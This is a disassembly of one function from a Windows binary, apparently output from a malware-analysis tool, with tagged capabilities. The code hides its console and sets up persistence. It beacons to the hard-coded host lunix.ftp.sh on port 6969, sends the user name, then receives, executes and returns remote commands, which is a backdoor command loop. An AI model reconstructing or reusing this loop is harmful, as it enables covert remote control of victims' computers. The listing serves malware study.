Function at 0x14000d9e0
Capabilities:
Connect socket
Get session user name
Initialize winsock library
Resolve dns
Send data
Send data on socket

Disassembly:
push r15
mov eax, 0x9eb8
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
call fcn.140008000
sub rsp, rax
movups xmmword [rsp + 0x9e90], xmm6
movups xmmword [rsp + 0x9ea0], xmm7
mov qword [rsp + 0x9f08], rdx
lea rsi, [rsp + 0x23f0]
call dbg.__main
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
mov rax, qword [rsp + 0x9f08]
mov rcx, qword [rax]
call sym.fast_persist
xor ecx, ecx
call qword [sym.imp.msvcrt.dll__time64]
mov ecx, eax
call sym.srand
mov rbx, qword [sym.imp.WS2_32.dll_WSAStartup]
jmp 0x14000da6b
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rdx, rsi
mov ecx, 0x202
call rbx
test eax, eax
jne 0x14000da60
lea rax, [rsp + 0x23d8]
lea r12, [rsp + 0x3610]
movq xmm7, qword [0x140010690]
mov rbx, qword [sym.imp.WS2_32.dll_socket]
mov qword [rsp + 0x70], rax
lea rax, [rsp + 0x23e8]
mov rdi, qword [sym.imp.WS2_32.dll_connect]
lea rbp, [rsp + 0x58e0]
mov qword [rsp + 0x78], rax
lea rax, [rsp + 0x23c8]
pxor xmm6, xmm6
mov r15, r12
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x2590]
mov rsi, qword [sym.imp.WS2_32.dll_closesocket]
mov qword [rsp + 0x88], rax
lea rax, [rsp + 0x7bb0]
mov r14, qword [sym.imp.WS2_32.dll_send]
mov qword [rsp + 0x90], rax
lea rax, [rsp + 0x3620]
mov qword [rsp + 0xa8], rax
lea rax, [rsp + 0x23c4]
mov qword [rsp + 0xb0], rax
lea rax, [rsp + 0x29b0]
mov qword [rsp + 0xb8], rax
lea rax, [rsp + 0x58f0]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x2dd0]
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0x23a0]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x31f0]
mov qword [rsp + 0x80], rax
nop
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rax, qword [rsp + 0x70]
movups xmmword [rbp], xmm6
mov r8, rbp
movups xmmword [rbp + 0x10], xmm6
mov r9, qword [rsp + 0x58]
lea rdx, str.6969
movabs rcx, 0x74662e78696e756c
mov qword [rsp + 0x23e0], 0
mov qword [rax], rcx
movabs rcx, 0x68732e7074662e
mov qword [rsp + 0x23e8], 0
mov qword [rax + 5], rcx
mov rax, qword [rsp + 0x78]
lea rcx, str.lunix.ftp.sh
movups xmmword [rbp + 0x20], xmm6
mov qword [rsp + 0x23c8], 0
mov dword [rax], 0x39363936
mov qword [rsp + 0x23d0], 0xffffffffffffffff
movq qword [rsp + 0x58e8], xmm7
call qword [sym.imp.WS2_32.dll_getaddrinfo]
mov r12d, eax
test eax, eax
jne 0x14000e110
mov r12, qword [rsp + 0x23c8]
test r12, r12
jne 0x14000dc5f
jmp 0x14000e195
mov rdx, qword [r12 + 0x20]
mov r8d, dword [r12 + 0x10]
mov rcx, rax
call rdi
cmp eax, 0xffffffff
jne 0x14000e070
mov rcx, r13
call rsi
mov r12, qword [r12 + 0x28]
mov qword [rsp + 0x23d0], 0xffffffffffffffff
test r12, r12
je 0x14000e0a0
mov edx, dword [r12 + 8]
mov ecx, dword [r12 + 4]
mov r8d, dword [r12 + 0xc]
call rbx
mov qword [rsp + 0x23d0], rax
mov r13, rax
cmp rax, 0xffffffffffffffff
jne 0x14000dc28
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov r9d, 0x400
xor edx, edx
mov ecx, 0x1300
mov r12d, eax
mov r8d, eax
mov qword [rsp + 0x3610], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov r9, qword [rsp + 0x3610]
mov r8d, r12d
mov rcx, qword [rsp + 0x90]
mov edx, 2
call sym.tb_err
mov rcx, qword [rsp + 0x3610]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [rsp + 0x7bc0]
test eax, eax
jne 0x14000db70
mov rcx, qword [rsp + 0xa8]
xor edx, edx
mov r8d, 0x22c0
mov qword [rsp + 0x3610], 0
mov qword [rsp + 0x3618], 0
call sym.memset
mov r12, qword [rsp + 0xb0]
mov dword [rsp + 0x23c4], 0x22d0
jmp 0x14000dd4b
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rdx, r12
mov rcx, r15
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
test eax, eax
je 0x14000dd40
mov eax, dword [rsp + 0x23c4]
xor r12d, r12d
mov qword [rsp + 0x98], rbp
mov rbp, r12
mov r12, qword [rsp + 0x58]
sub eax, 1
mov dword [rsp + 0x54], eax
mov qword [rsp + 0xa0], rax
bswap rax
mov qword [rsp + 0x23c8], rax
jmp 0x14000dda7
cdqe
add rbp, rax
cmp rbp, 7
ja 0x14000e148
mov r8d, 8
xor r9d, r9d
lea rdx, [r12 + rbp]
mov rcx, r13
sub r8d, ebp
call r14
cmp eax, 0xffffffff
jne 0x14000dd98
mov rbp, qword [rsp + 0x98]
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov r9d, 0x400
xor edx, edx
mov ecx, 0x1300
mov r12d, eax
mov r8d, eax
mov qword [rsp + 0x58e0], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], rbp
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov r9, qword [rsp + 0x58e0]
mov r8d, r12d
mov rcx, qword [rsp + 0x90]
mov edx, 2
call sym.tb_err
mov rcx, qword [rsp + 0x58e0]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [rsp + 0x7bc0]
test eax, eax
jne 0x14000e058
xor r12d, r12d
cmp qword [rsp + 0xa0], 0
je 0x14000e174
mov qword [rsp + 0x98], rbp
mov rbp, r12
mov r12, qword [rsp + 0xa0]
jmp 0x14000de7e
cdqe
add rbp, rax
cmp rbp, r12
jae 0x14000e16c
mov r8d, dword [rsp + 0x54]
xor r9d, r9d
lea rdx, [r15 + rbp]
mov rcx, r13
sub r8d, ebp
call r14
cmp eax, 0xffffffff
jne 0x14000de70
mov rbp, qword [rsp + 0x98]
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov r9d, 0x400
xor edx, edx
mov ecx, 0x1300
mov r12d, eax
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x23c8], 0
mov r8d, r12d
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov r9, qword [rsp + 0x23c8]
mov r8d, r12d
mov rcx, qword [rsp + 0x90]
mov edx, 2
call sym.tb_err
mov rcx, qword [rsp + 0x23c8]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [rsp + 0x7bc0]
test eax, eax
jne 0x14000e058
mov r12, qword [rsp + 0x90]
nop dword [rax + rax]
mov r8d, 0x22d4
xor edx, edx
mov rcx, r12
call sym.memset
mov rcx, qword [rsp + 0x60]
mov r8d, 0x22c0
xor edx, edx
mov qword [rsp + 0x58e0], 0
mov qword [rsp + 0x58e8], 0
call sym.memset
mov rdx, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x68]
mov r8, r12
movdqu xmm0, xmmword [rsp + 0x23d0]
movdqu xmm1, xmmword [rsp + 0x23e0]
movups xmmword [rsp + 0x23a0], xmm0
movups xmmword [rsp + 0x23b0], xmm1
call sym.fast_recv_cmd
mov edx, dword [rsp + 0x2de0]
test edx, edx
jne 0x14000e058
cmp dword [rsp + 0x9e80], 4
je 0x14000e100
mov rcx, qword [rsp + 0x48]
mov r8d, 0x22d4
mov rdx, r12
movdqu xmm2, xmmword [rsp + 0x23d0]
movdqu xmm3, xmmword [rsp + 0x23e0]
movups xmmword [rsp + 0x23a0], xmm2
movups xmmword [rsp + 0x23b0], xmm3
call sym.memcpy
mov rax, qword [rsp + 0x9f08]
mov rdx, qword [rsp + 0x48]
mov r9, rbp
mov rcx, qword [rsp + 0x40]
mov r8, qword [rax]
call sym.fast_exec_cmd
mov rdx, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x80]
mov r8, rbp
movdqu xmm4, xmmword [rsp + 0x23d0]
movdqu xmm5, xmmword [rsp + 0x23e0]
movups xmmword [rsp + 0x23a0], xmm4
movups xmmword [rsp + 0x23b0], xmm5
call sym.fast_send_res
mov eax, dword [rsp + 0x3200]
test eax, eax
je 0x14000df30
nop dword [rax + rax]
mov rcx, r13
mov edx, 2
call qword [sym.imp.WS2_32.dll_shutdown]
mov rcx, r13
call rsi
jmp 0x14000db70
mov rcx, qword [rsp + 0x23c8]
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x88]
call sym.tb_err.constprop.0
mov eax, dword [rsp + 0x25a0]
jmp 0x14000dcf4
mov rcx, qword [rsp + 0x23c8]
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
lea rax, str.6969
mov rcx, qword [rsp + 0x88]
mov edx, 2
lea r9, str.Could_not_connect_to__s:_s
mov qword [rsp + 0x28], rax
lea rax, str.lunix.ftp.sh
mov r8d, 1
mov r13, 0xffffffffffffffff
mov qword [rsp + 0x20], rax
call sym.tb_err
mov eax, dword [rsp + 0x25a0]
jmp 0x14000dcf4
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x14000df30
mov ecx, eax
mov r13, 0xffffffffffffffff
call dbg.gai_strerrorA
mov rcx, qword [rsp + 0x88]
movsxd r8, r12d
mov edx, 2
mov r9, rax
call sym.tb_err
mov eax, dword [rsp + 0x25a0]
jmp 0x14000dcf4
mov rbp, qword [rsp + 0x98]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rbp
call sym.tb_err.constprop.0
mov eax, dword [rsp + 0x58f0]
jmp 0x14000de3d
mov rbp, qword [rsp + 0x98]
mov rcx, qword [rsp + 0xb8]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call sym.tb_err.constprop.0
mov eax, dword [rsp + 0x29c0]
jmp 0x14000df18
xor ecx, ecx
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
jmp 0x14000e0ae